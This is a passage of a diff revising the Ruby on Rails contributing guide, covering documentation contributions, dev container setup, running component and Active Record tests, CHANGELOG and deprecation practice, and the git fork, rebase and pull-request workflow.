-Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:
+Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your findings. Your comment should indicate that you like the change and what you like about it. Something like:
 
 >I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too.
 
@@ -130,76 +135,96 @@ Contributing to the Rails Documentation
 Ruby on Rails has two main sets of documentation: the guides, which help you
 learn about Ruby on Rails, and the API, which serves as a reference.
 
-You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing them up to date with the latest edge Rails.
+You can help improve the Rails guides or the API reference by making them more coherent, consistent, or readable, adding missing information, correcting factual errors, fixing typos, or bringing them up to date with the latest edge Rails.
 
-You can either open a pull request to [Rails](https://github.com/rails/rails) or
-ask the [Rails core team](http://rubyonrails.org/community/#core) for commit access on
-docrails if you contribute regularly.
-Please do not open pull requests in docrails, if you'd like to get feedback on your
-change, ask for it in [Rails](https://github.com/rails/rails) instead.
+To do so, make changes to Rails guides source files (located [here](https://github.com/rails/rails/tree/main/guides/source) on GitHub) or RDoc comments in source code. Then open a pull request to apply your changes to the main branch.
 
-Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
+Use `[ci skip]` in your pull request title to avoid running the CI build for documentation changes.
 
-If you are unsure of the documentation changes, you can create an issue in the [Rails](https://github.com/rails/rails/issues) issues tracker on GitHub.
+Once you open a PR, a preview of the documentation will be deployed for easy review and collaboration. At the bottom of the Pull Request page, you should see a list of status checks, look for the `buildkite/docs-preview` and click "details".
 
-When working with documentation, please take into account the [API Documentation Guidelines](api_documentation_guidelines.html) and the [Ruby on Rails Guides Guidelines](ruby_on_rails_guides_guidelines.html).
+![GitHub rails/rails Pull Request status checks](images/docs_preview/status_checks.png)
 
-NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements.
+This will bring you to the Buildkite build page. If the job was successful, there will be an annotation with links to the generated API and Guides above the job list.
 
-NOTE: To help our CI servers you should add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes.
+![Buildkite rails/docs-preview annotation API & Guides links](images/docs_preview/annotation.png)
 
-WARNING: Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.
+When working with documentation, please take into account the [API Documentation Guidelines](api_documentation_guidelines.html) and the [Ruby on Rails Guides Guidelines](ruby_on_rails_guides_guidelines.html).
 
 Translating Rails Guides
 ------------------------
 
-We are happy to have people volunteer to translate the Rails guides into their own language.
-If you want to translate the Rails guides in your own language, follows these steps:
+We are happy to have people volunteer to translate the Rails guides. Just follow these steps:
 
-* Fork the project (rails/rails).
-* Add a source folder for your own language, for example: *guides/source/it-IT* for Italian.
-* Copy the contents of *guides/source* into your own language directory and translate them.
+* Fork https://github.com/rails/rails.
+* Add a source folder for your language, for example: *guides/source/it-IT* for Italian.
+* Copy the contents of *guides/source* into your language directory and translate them.
 * Do NOT translate the HTML files, as they are automatically generated.
 
-To generate the guides in HTML format cd into the *guides* directory then run (eg. for it-IT):
+Note that translations are not submitted to the Rails repository; your work lives in your fork, as described above. This is because, in practice, documentation maintenance via patches is only sustainable in English.
+
+To generate the guides in HTML format, you will need to install the guides dependencies, `cd` into the *guides* directory, and then run (e.g., for it-IT):
 
 ```bash
-$ bundle install
-$ bundle exec rake guides:generate:html GUIDES_LANGUAGE=it-IT
+$ BUNDLE_ONLY=default:doc bundle install
+$ cd guides/
+$ BUNDLE_ONLY=default:doc bundle exec rake guides:generate:html GUIDES_LANGUAGE=it-IT
 ```
 
 This will generate the guides in an *output* directory.
 
-NOTE: The instructions are for Rails > 4. The Redcarpet Gem doesn't work with JRuby.
-
-Translation efforts we know about (various versions):
-
-* **Italian**: [https://github.com/rixlabs/docrails](https://github.com/rixlabs/docrails)
-* **Spanish**: [http://wiki.github.com/gramos/docrails](http://wiki.github.com/gramos/docrails)
-* **Polish**: [https://github.com/apohllo/docrails/tree/master](https://github.com/apohllo/docrails/tree/master)
-* **French** : [https://github.com/railsfrance/docrails](https://github.com/railsfrance/docrails)
-* **Czech** : [https://github.com/rubyonrails-cz/docrails/tree/czech](https://github.com/rubyonrails-cz/docrails/tree/czech)
-* **Turkish** : [https://github.com/ujk/docrails/tree/master](https://github.com/ujk/docrails/tree/master)
-* **Korean** : [https://github.com/rorlakr/rails-guides](https://github.com/rorlakr/rails-guides)
-* **Simplified Chinese** : [https://github.com/ruby-china/guides](https://github.com/ruby-china/guides)
-* **Traditional Chinese** : [https://github.com/docrails-tw/guides](https://github.com/docrails-tw/guides)
-* **Russian** : [https://github.com/morsbox/rusrails](https://github.com/morsbox/rusrails)
-* **Japanese** : [https://github.com/yasslab/railsguides.jp](https://github.com/yasslab/railsguides.jp)
+NOTE: The Redcarpet Gem doesn't work with JRuby.
 
 Contributing to the Rails Code
 ------------------------------
 
 ### Setting Up a Development Environment
 
-To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide, you'll learn how to setup the tests on your own computer.
+To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide, you'll learn how to set up the tests on your computer.
+
+#### Using GitHub Codespaces
+
+If you're a member of an organization that has codespaces enabled, you can fork Rails into that organization and use codespaces on GitHub. The Codespace will be initialized with all required dependencies and allows you to run all tests.
+
+#### Using VS Code Remote Containers
+
+If you have [Visual Studio Code](https://code.visualstudio.com) and [Docker](https://www.docker.com) installed, you can use the [VS Code remote containers plugin](https://code.visualstudio.com/docs/remote/containers-tutorial). The plugin will read the [`.devcontainer`](https://github.com/rails/rails/tree/main/.devcontainer) configuration in the repository and build the Docker container locally.
+
+#### Using Dev Container CLI
+
+With [npm](https://github.com/npm/cli) and [Docker](https://www.docker.com) installed, you can run [Dev Container CLI](https://github.com/devcontainers/cli) to utilize the [`.devcontainer`](https://github.com/rails/rails/tree/main/.devcontainer) configuration from the command line.
+
+```bash
+$ npm install -g @devcontainers/cli
+$ cd rails
+$ devcontainer up --workspace-folder .
+$ devcontainer exec --workspace-folder . bash
+```
+
+#### Using Dev Container with Podman
+
+You can use the [`.devcontainer`](https://github.com/rails/rails/tree/main/.devcontainer) configuration with [Podman](https://podman.io/). This method does not require any other tools besides Podman.
+
+```bash
+$ podman machine init
+$ podman machine start
+$ tools/devcontainer up
+```
+
+Then in a separate terminal:
 
-#### The Easy Way
+```bash
+$ tools/devcontainer run-user-commands
+$ tools/devcontainer sh
+```
 
-The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
+#### Using rails-dev-box
 
-#### The Hard Way
+It's also possible to use the [rails-dev-box](https://github.com/rails/rails-dev-box) to get a development environment ready. However, the rails-dev-box uses Vagrant and Virtual Box which will not work on Macs with Apple silicon.
 
-In case you can't use the Rails development box, see [this other guide](development_dependencies_install.html).
+#### Local Development
+
+When you can't use GitHub Codespaces, see [this other guide](development_dependencies_install.html) for how to set up local development. This is considered the hard way because installing dependencies may be OS specific.
 
 ### Clone the Rails Repository
 
@@ -216,7 +241,7 @@ $ cd rails
 $ git checkout -b my_new_branch
 ```
 
-It doesn't matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository.
+It doesn't matter much what name you use because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository.
 
 ### Bundle install
 
@@ -236,19 +261,28 @@ $ bundle exec rails new ~/my-test-app --dev
 ```
 
 The application generated in `~/my-test-app` runs against your local branch
-and in particular sees any modifications upon server reboot.
+and, in particular, sees any modifications upon server reboot.
+
+For JavaScript packages, you can use [`yarn link`](https://yarnpkg.com/cli/link) to source your local branch in a generated application:
+
+```bash
+$ cd rails/activestorage
+$ yarn link
+$ cd ~/my-test-app
+$ yarn link "@rails/activestorage"
+```
 
 ### Write Your Code
 
-Now get busy and add/edit code. You're on your branch now, so you can write whatever you want (make sure you're on the right branch with `git branch -a`). But if you're planning to submit your change back for inclusion in Rails, keep a few things in mind:
+Now it's time to write some code! When making changes for Rails, here are some things to keep in mind:
 
-* Get the code right.
+* Follow Rails style and conventions.
 * Use Rails idioms and helpers.
 * Include tests that fail without your code, and pass with it.
 * Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution.
+* If the change adds, removes, or changes a feature, be sure to include a CHANGELOG entry. If your change is a bug fix, a CHANGELOG entry is not necessary.
 
-
-TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted (read more about [our rationales behind this decision](https://github.com/rails/rails/pull/13771#issuecomment-32746700)).
+TIP: Changes that are cosmetic and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted (read more about [our rationale behind this decision](https://github.com/rails/rails/pull/13771#issuecomment-32746700)).
 
 #### Follow the Coding Conventions
 
@@ -256,35 +290,44 @@ Rails follows a simple set of coding style conventions:
 
 * Two spaces, no tabs (for indentation).
 * No trailing whitespace. Blank lines should not have any spaces.
-* Indent after private/protected.
+* Indent and no blank line after private/protected.
 * Use Ruby >= 1.9 syntax for hashes. Prefer `{ a: :b }` over `{ :a => :b }`.
 * Prefer `&&`/`||` over `and`/`or`.
-* Prefer class << self over self.method for class methods.
+* Prefer `class << self` over `self.method` for class methods.
 * Use `my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`.
 * Use `a = b` and not `a=b`.
-* Use assert_not methods instead of refute.
+* Use `assert_not` methods instead of `refute`.
 * Prefer `method { do_stuff }` instead of `method{do_stuff}` for single-line blocks.
 * Follow the conventions in the source you see used already.
 
 The above are guidelines - please use your best judgment in using them.
 
+Additionally, we have [RuboCop](https://www.rubocop.org/) rules defined to codify some of our coding conventions. You can run RuboCop locally against the file that you have modified before submitting a pull request:
+
+```bash
+$ bundle exec rubocop actionpack/lib/action_controller/metal/strong_parameters.rb
+Inspecting 1 file
+.
+
+1 file inspected, no offenses detected
+```
+
 ### Benchmark Your Code
 
 For changes that might have an impact on performance, please benchmark your
 code and measure the impact. Please share the benchmark script you used as well
 as the results. You should consider including this information in your commit
-message, which allows future contributors to easily verify your findings and
+message to allow future contributors to easily verify your findings and
 determine if they are still relevant. (For example, future optimizations in the
 Ruby VM might render certain optimizations unnecessary.)
 
-It is very easy to make an optimization that improves performance for a
-specific scenario you care about but regresses on other common cases.
+When optimizing for a specific scenario that you care about, it is easy to
+regress performance for other common cases.
 Therefore, you should test your change against a list of representative
-scenarios. Ideally, they should be based on real-world scenarios extracted
-from production applications.
+scenarios, ideally extracted from real-world production applications.
 
-You can use the [benchmark template](https://github.com/rails/rails/blob/master/guides/bug_report_templates/benchmark.rb)
-as a starting point. It includes the boilerplate code to setup a benchmark
+You can use the [benchmark template](https://github.com/rails/rails/blob/main/guides/bug_report_templates/benchmark.rb)
+as a starting point. It includes the boilerplate code to set up a benchmark
 using the [benchmark-ips](https://github.com/evanphx/benchmark-ips) gem. The
 template is designed for testing relatively self-contained changes that can be
 inlined into the script.
@@ -292,14 +335,14 @@ inlined into the script.
 ### Running Tests
 
 It is not customary in Rails to run the full test suite before pushing
-changes. The railties test suite in particular takes a long time, and takes an
+changes. The railties test suite, in particular, takes a long time, and will take an
 especially long time if the source code is mounted in `/vagrant` as happens in
 the recommended workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box).
 
 As a compromise, test what your code obviously affects, and if the change is
 not in railties, run the whole test suite of the affected component. If all
 tests are passing, that's enough to propose your contribution. We have
-[Travis CI](https://travis-ci.org/rails/rails) as a safety net for catching
+[Buildkite](https://buildkite.com/rails/rails) as a safety net for catching
 unexpected breakages elsewhere.
 
 #### Entire Rails:
@@ -313,34 +356,182 @@ $ bundle exec rake test
 
 #### For a Particular Component
 
-You can run tests only for a particular component (e.g. Action Pack). For example,
+You can run tests only for a particular component (e.g., Action Pack). For example,
 to run Action Mailer tests:
 
 ```bash
 $ cd actionmailer
-$ bundle exec rake test
+$ bin/test
+```
+
+#### Running Component Tests from the Repository Root
+
+You can also run component test suites from the repository root using rake tasks:
+
+```bash
+$ bundle exec rake actionpack:test
+$ bundle exec rake actionpack:isolated
+
+# Active Record adapters (from the repo root)
+$ bundle exec rake activerecord:sqlite3:test
+$ bundle exec rake activerecord:sqlite3:isolated
+$ bundle exec rake activerecord:mysql2:test
+$ bundle exec rake activerecord:trilogy:test
+$ bundle exec rake activerecord:postgresql:test
+
+# Active Record integration tests (Active Job integration across adapters)
+$ bundle exec rake activerecord:integration
+
+# Active Job adapters
+$ bundle exec rake activejob:sidekiq:test
+$ bundle exec rake activejob:sidekiq:isolated
+$ bundle exec rake activejob:sidekiq:integration
+
+# All Active Job integration tests
+$ bundle exec rake activejob:integration
+```
+
+Notes:
+
+- Not all frameworks define an isolated test task. For example, `activestorage:isolated` is not supported and will exit with an error.
+
+#### For a Specific Directory
+
+You can run tests only for a specific directory of a particular component
+(e.g., models in Active Storage). For example, to run tests in `/activestorage/test/models`:
+
+```bash
+$ cd activestorage
+$ bin/test models
+```
+
+#### For a Specific File
+
+You can run the tests for a particular file:
+
+```bash
+$ cd actionview
+$ bin/test test/template/form_helper_test.rb
+```
+
+Or from the repository root:
+
+```bash
+$ bin/test actionview/test/template/form_helper_test.rb
 ```
 
 #### Running a Single Test
 
-You can run a single test through ruby. For instance:
+You can run a single test by name using the `-n` option:
+
+```bash
+$ cd actionmailer
+$ bin/test test/mail_layout_test.rb -n test_explicit_class_layout
+```
+
+Or from the repository root:
+
+```bash
+$ bin/test actionmailer/test/mail_layout_test.rb -n test_explicit_class_layout
+```
+
+#### For a Specific Line
+
+Figuring out the name is not always easy, but if you know the line number your test starts at, this option is for you:
+
+```bash
+$ cd railties
+$ bin/test test/application/asset_debugging_test.rb:69
+```
+
+Or from the repository root:
+
+```bash
+$ bin/test railties/test/application/asset_debugging_test.rb:69
+```
+
+#### For a Specific Line Range
+
+Similar tests are often defined in nearby locations. You can run tests in a specific line range.
+
+```bash
+$ cd railties
+$ bin/test test/application/asset_debugging_test.rb:69-100
+```
+
+#### Running Tests with a Specific Seed
+
+Test execution is randomized with a randomization seed. If you are experiencing random
+test failures, you can more accurately reproduce a failing test scenario by specifically
+setting the randomization seed.
+
+Running all tests for a component:
+
+```bash
+$ cd actionmailer
+$ SEED=15002 bin/test
+```
+
+Running a single test file:
 
 ```bash
 $ cd actionmailer
-$ bundle exec ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout
+$ SEED=15002 bin/test test/mail_layout_test.rb
 ```
 
-The `-n` option allows you to run a single method instead of the whole
-file.
+#### Running Tests in Serial
+
+Action Pack and Action View unit tests run in parallel by default. If you are experiencing random
+test failures, you can set the randomization seed and let these unit tests run in serial by setting `PARALLEL_WORKERS=1`
+
+```bash
+$ cd actionview
+$ PARALLEL_WORKERS=1 SEED=53708 bin/test test/template/test_case_test.rb
+```
 
 #### Testing Active Record
 
-First, create the databases you'll need. You can find a list of the required 
+First, create the databases you'll need. You can find a list of the required
 table names, usernames, and passwords in `activerecord/test/config.example.yml`.
 
-For MySQL and PostgreSQL, running the SQL statements `create database
-activerecord_unittest` and `create database activerecord_unittest2` is
-sufficient. This is not necessary for SQLite3.
+For MySQL and PostgreSQL, it is sufficient to run:
+
+```bash
+$ cd activerecord
+$ bundle exec rake db:mysql:build
+```
+
+Or:
+
+```bash
+$ cd activerecord
+$ bundle exec rake db:postgresql:build
+```
+
+This is not necessary for SQLite3.
+
+From the repository root, equivalent database management tasks are available under the `activerecord:db` namespace:
+
+```bash
+# Create both MySQL and PostgreSQL test databases
+$ bundle exec rake activerecord:db:create
+
+# Drop both MySQL and PostgreSQL test databases
+$ bundle exec rake activerecord:db:drop
+
+# Rebuild both MySQL and PostgreSQL test databases
+$ bundle exec rake activerecord:db:rebuild
+
+# Manage MySQL databases only
+$ bundle exec rake activerecord:db:mysql:build
+$ bundle exec rake activerecord:db:mysql:drop
+$ bundle exec rake activerecord:db:mysql:rebuild
+
+# Manage PostgreSQL databases only
+$ bundle exec rake activerecord:db:postgresql:build
+$ bundle exec rake activerecord:db:postgresql:drop
+$ bundle exec rake activerecord:db:postgresql:rebuild
+```
 
 This is how you run the Active Record test suite only for SQLite3:
 
@@ -349,11 +540,26 @@ $ cd activerecord
 $ bundle exec rake test:sqlite3
 ```
 
+From the repository root, the equivalent commands are available:
+
+```bash
+$ bundle exec rake activerecord:sqlite3:test
+```
+
 You can now run the tests as you did for `sqlite3`. The tasks are respectively:
 
 ```bash
-test:mysql2
-test:postgresql
+$ bundle exec rake test:mysql2
+$ bundle exec rake test:trilogy
+$ bundle exec rake test:postgresql
+```
+
+Or:
+
+```bash
+$ bundle exec rake activerecord:mysql2:test
+$ bundle exec rake activerecord:trilogy:test
+$ bundle exec rake activerecord:postgresql:test
 ```
 
 Finally,
@@ -364,10 +570,22 @@ $ bundle exec rake test
 
 will now run the three of them in turn.
 
+You can run adapter-specific isolated tests, or all Active Job integration tests for Active Record, with:
+
+```bash
+# From inside activerecord
+$ bundle exec rake test:isolated:sqlite3
+$ bundle exec rake test:integration:active_job
+
+# Or repository root
+$ bundle exec rake activerecord:sqlite3:isolated
+$ bundle exec rake activerecord:integration   # runs Active Job integration across all adapters
+```
+
 You can also run any single test separately:
 
 ```bash
-$ ARCONN=sqlite3 bundle exec ruby -Itest test/cases/associations/has_many_associations_test.rb
+$ ARCONN=mysql2 bundle exec ruby -Itest test/cases/associations/has_many_associations_test.rb
 ```
 
 To run a single test against all adapters, use:
@@ -376,27 +594,41 @@ To run a single test against all adapters, use:
 $ bundle exec rake TEST=test/cases/associations/has_many_associations_test.rb
 ```
 
-You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server.
+You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests.
+
+#### Using Debuggers with Test
+
+To use an external debugger (pry, byebug, etc), install the debugger and use it as normal.  If debugger issues occur, run tests in serial by setting `PARALLEL_WORKERS=1` or run a single test with `-n test_long_test_name`.
+
+If running tests against generators, you will need to set `RAILS_LOG_TO_STDOUT=true` in order for debugging tools to work.
+
+```sh
+RAILS_LOG_TO_STDOUT=true ./bin/test test/generators/actions_test.rb
+```
 
 ### Warnings
 
 The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.
 
-If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
+Rails CI will raise if warnings are introduced. To implement the same behavior locally, set `RAILS_STRICT_WARNINGS=1` when running the test suite.
 
-```bash
-$ RUBYOPT=-W0 bundle exec rake test
-```
+### Updating the Documentation
+
+The Ruby on Rails [guides](https://guides.rubyonrails.org/) provide a high-level overview of Rails' features, while the [API documentation](https://api.rubyonrails.org/) delves into specifics.
+
+If your PR adds a new feature or changes how an existing feature behaves, check the relevant documentation and update it or add to it as necessary.
+
+For example, if you modify Active Storage's image analyzer to add a new metadata field, you should update the [Analyzing Files](active_storage_overview.html#analyzing-files) section of the Active Storage guide to reflect that.
 
 ### Updating the CHANGELOG
 
 The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version.
 
-You should add an entry **to the top** of the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG.
+You should add an entry **to the top** of the CHANGELOG of the framework you modified if you're adding or removing a feature, or adding deprecation notices. Refactorings, minor bug fixes, and documentation changes generally should not go to the CHANGELOG.
 
-A CHANGELOG entry should summarize what was changed and should end with the author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry:
+A CHANGELOG entry should summarize what was changed and should end with the author's name. You can use multiple lines if you need more space, and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry:
 
-```
+```markdown
 *   Summary of a change that briefly describes what was changed. You can use multiple
     lines and wrap them at around 80 characters. Code examples are ok, too, if needed:
 
@@ -406,27 +638,114 @@ A CHANGELOG entry should summarize what was changed and should end with the auth
           end
         end
 
-    You can continue after the code example and you can attach issue number. GH#1234
+    You can continue after the code example, and you can attach the issue number.
+
+    Fixes #1234.
 
     *Your Name*
 ```
 
-Your name can be added directly after the last word if there are no code
-examples or multiple paragraphs. Otherwise, it's best to make a new paragraph.
+### Breaking Changes
 
-### Updating the Gemfile.lock
+Anytime a change could break existing applications, it's considered a breaking
+change. To ease upgrading Rails applications, breaking changes require a
+deprecation cycle.
+
+#### Removing Behavior
+
+If your breaking change removes existing behavior, you'll first need to add a
+deprecation warning while keeping the existing behavior.
+
+As an example, let's say you want to remove a public method on
+`ActiveRecord::Base`. If the main branch points to the unreleased 7.0 version,
+Rails 7.0 will need to show a deprecation warning. This makes sure anyone
+upgrading to any Rails 7.0 version will see the deprecation warning.
+In Rails 7.1 the method can be deleted.
+
+You could add the following deprecation warning:
+
+```ruby
+def deprecated_method
+  ActiveRecord.deprecator.warn(<<-MSG.squish)
+    `ActiveRecord::Base.deprecated_method` is deprecated and will be removed in Rails 7.1.
+  MSG
+  # Existing behavior
+end
+```
+
+#### Changing Behavior
+
+If your breaking change changes existing behavior, you'll need to add a
+framework default. Framework defaults ease Rails upgrades by allowing apps
+to switch to the new defaults one by one.
 
-Some changes require the dependencies to be upgraded. In these cases make sure you run `bundle update` to get the right version of the dependency and commit the `Gemfile.lock` file within your changes.
+To implement a new framework default, first create a configuration by adding an
+accessor on the target framework. Set the default value to the existing
+behavior to make sure nothing breaks during an upgrade.
 
-### Sanity Check
+```ruby
+module ActiveJob
+  mattr_accessor :existing_behavior, default: true
+end
+```
+
+The new configuration allows you to conditionally implement the new behavior:
+
+```ruby
+def changed_method
+  if ActiveJob.existing_behavior
+    # Existing behavior
+  else
+    # New behavior
+  end
+end
+```
+
+To set the new framework default, set the new value in
+`Rails::Application::Configuration#load_defaults`:
+
+```ruby
+def load_defaults(target_version)
+  case target_version.to_s
+  when "7.1"
+    # ...
+    if respond_to?(:active_job)
+      active_job.existing_behavior = false
+    end
+    # ...
+  end
+end
+```
+
+To ease the upgrade it's required to add the new default to the
+`new_framework_defaults` template. Add a commented out section, setting the new
+value:
+
+```ruby
+# new_framework_defaults_8_1.rb.tt
+
+# Rails.application.config.active_job.existing_behavior = false
+```
+
+As a last step, add the new configuration to configuration guide in
+`configuration.md`:
 
-You should not be the only person who looks at the code before you submit it.
-If you know someone else who uses Rails, try asking them if they'll check out
-your work. If you don't know anyone else using Rails, try hopping into the IRC
-room or posting about your idea to the rails-core mailing list. Doing this in
-private before you push a patch out publicly is the "smoke test" for a patch:
-if you can't convince one other developer of the beauty of your code, you’re
-unlikely to convince the core team either.
+```markdown
+#### `config.active_job.existing_behavior
+
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `true`               |
+| 7.1                   | `false`              |
+```
+
+### Ignoring Files Created by Your Editor / IDE
+
+Some editors and IDEs will create hidden files or folders inside the `rails` folder. Instead of manually excluding those from each commit or adding them to Rails' `.gitignore`, you should add them to your own [global gitignore file](https://docs.github.com/en/get-started/getting-started-with-git/ignoring-files#configuring-ignored-files-for-all-repositories-on-your-computer).
+
+### Updating the Gemfile.lock
+
+Some changes require dependency upgrades. In these cases, make sure you run `bundle update` to get the correct version of the dependency and commit the `Gemfile.lock` file within your changes.
 
 ### Commit Your Changes
 
@@ -437,17 +756,17 @@ $ git commit -a
 ```
 
 This should fire up your editor to write a commit message. When you have
-finished, save and close to continue.
+finished, save, and close to continue.
 
 A well-formatted and descriptive commit message is very helpful to others for
 understanding why the change was made, so please take the time to write it.
 
 A good commit message looks like this:
 
-```
+```markdown
 Short summary (ideally 50 characters or less)
 
-More detailed description, if necessary. It should be wrapped to
+More detailed description, if necessary. Each line should wrap at
 72 characters. Try to be as descriptive as you can. Even if you
 think that the commit content is obvious, it may not be obvious
 to others. Add any description that is already present in the
@@ -478,10 +797,10 @@ simplifies future cherry picks and keeps the git log clean.
 
 ### Update Your Branch
 
-It's pretty likely that other changes to master have happened while you were working. Go get them:
+It's pretty likely that other changes to main have happened while you were working. To get new changes in main:
 
 ```bash
-$ git checkout master
+$ git checkout main
 $ git pull --rebase
 ```
 
@@ -489,30 +808,28 @@ Now reapply your patch on top of the latest changes:
 
 ```bash
 $ git checkout my_new_branch
-$ git rebase master
+$ git rebase main
 ```
 
-No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.
+No conflicts? Tests still pass? Change still seems reasonable to you? Then push the rebased changes to GitHub:
 
-### Fork
+```bash
+$ git push --force-with-lease
+```
 
-Navigate to the Rails [GitHub repository](https://github.com/rails/rails) and press "Fork" in the upper right hand corner.
+We disallow force pushing on the rails/rails repository base, but you are able to force push to your fork. When rebasing, this is a requirement since the history has changed.
 
-Add the new remote to your local repository on your local machine:
+### Fork
 
-```bash
-$ git remote add mine https://github.com:<your user name>/rails.git
-```
+Navigate to the Rails [GitHub repository](https://github.com/rails/rails) and press "Fork" in the upper right-hand corner.
 
-Push to your remote:
+Add the new remote to your local repository on your local machine:
 
 ```bash
-$ git push mine my_new_branch
+$ git remote add fork https://github.com/<your username>/rails.git
 ```
 
-You might have cloned your forked repository into your machine and might want to add the original Rails repository as a remote instead, if that's the case here's what you have to do.
-
-In the directory you cloned your fork:
+You may have cloned your local repository from rails/rails, or you may have cloned from your forked repository. The following git commands assume that you have made a "rails" remote that points to rails/rails.
 
 ```bash
 $ git remote add rails https://github.com/rails/rails.git
@@ -527,41 +844,34 @@ $ git fetch rails
 Merge the new content:
 
 ```bash
-$ git checkout master
-$ git rebase rails/master
+$ git checkout main
+$ git rebase rails/main
+$ git checkout my_new_branch
+$ git rebase rails/main
 ```
 
 Update your fork:
 
 ```bash
-$ git push origin master
+$ git push fork main
+$ git push fork my_new_branch
 ```
 
-If you want to update another branch:
+### Open a Pull Request
 
-```bash
-$ git checkout branch_name
-$ git rebase rails/branch_name
-$ git push origin branch_name
-```
-
-
-### Issue a Pull Request
+Navigate to the Rails repository you just pushed to (e.g.,
+https://github.com/your-user-name/rails) and click on "Pull Requests" in the top bar (just above the code).
+On the next page, click "New pull request" in the upper right-hand corner.
 
-Navigate to the Rails repository you just pushed to (e.g.
-https://github.com/your-user-name/rails) and click on "Pull Requests" seen in
-the right panel. On the next page, press "New pull request" in the upper right
-hand corner.
-
-Click on "Edit", if you need to change the branches being compared (it compares
-"master" by default) and press "Click to create a pull request for this
-comparison".
+The pull request should target the base repository `rails/rails` and the branch `main`.
+The head repository will be your work (`your-user-name/rails`), and the branch will be
+whatever name you gave your branch. Click "create pull request" when you're ready.
 
 Ensure the changesets you introduced are included. Fill in some details about
-your potential patch including a meaningful title. When finished, press "Send
-pull request". The Rails core team will be notified about your submission.
+your potential patch, using the pull request template provided. When finished, click "Create
+pull request".
 
-### Get some Feedback
+### Get Some Feedback
 
 Most pull requests will go through a few iterations before they get merged.
 Different contributors will sometimes have different opinions, and often
@@ -570,23 +880,29 @@ patches will need to be revised before they can get merged.
 Some contributors to Rails have email notifications from GitHub turned on, but
 others do not. Furthermore, (almost) everyone who works on Rails is a
 volunteer, and so it may take a few days for you to get your first feedback on
-a pull request. Don't despair! Sometimes it's quick, sometimes it's slow. Such
+a pull request. Don't despair! Sometimes it's quick; sometimes it's slow. Such
 is the open source life.
 
 If it's been over a week, and you haven't heard anything, you might want to try
-and nudge things along. You can use the [rubyonrails-core mailing
-list](http://groups.google.com/group/rubyonrails-core/) for this. You can also
-leave another comment on the pull request.
+and nudge things along. You can use the *contributions* channel in the [Ruby on Rails Discord server](https://discord.gg/d8N68BCw49),
+or the [rubyonrails-core discussion board](https://discuss.rubyonrails.org/c/rubyonrails-core) for this.
+You can also leave another comment on the pull request. It's best to avoid pinging
+individual maintainers directly as we have limited bandwidth and may not
+be able to look at your PR.
 
 While you're waiting for feedback on your pull request, open up a few other
-pull requests and give someone else some! I'm sure they'll appreciate it in
+pull requests and give someone else some! They'll appreciate it in
 the same way that you appreciate feedback on your patches.
 
+Note that only the Core and Committers teams are permitted to merge code changes.
+If someone gives feedback and "approves" your changes, they may not have the ability
+or final say to merge your change.
+
 ### Iterate as Necessary
 
-It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into the knowledge of the community. If people are encouraging you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code doesn't belong in the core, you might still think about releasing it as a gem.
+It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into the community's knowledge. If people encourage you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code won't be merged, you might still think about releasing it as a gem.
 
-#### Squashing commits
+#### Squashing Commits
 
 One of the things that we may ask you to do is to "squash your commits", which
 will combine all of your commits into a single commit. We prefer pull requests
@@ -595,35 +911,21 @@ branches, squashing makes it easier to revert bad commits, and the git history
 can be a bit easier to follow. Rails is a large project, and a bunch of
 extraneous commits can add a lot of noise.
 
-In order to do this, you'll need to have a git remote that points at the main
-Rails repository. This is useful anyway, but just in case you don't have it set
-up, make sure that you do this first:
-
 ```bash
-$ git remote add upstream https://github.com/rails/rails.git
-```
-
-You can call this remote whatever you'd like, but if you don't use `upstream`,
-then change the name to your own in the instructions below.
-
-Given that your remote branch is called `my_pull_request`, then you can do the
-following:
-
-```bash
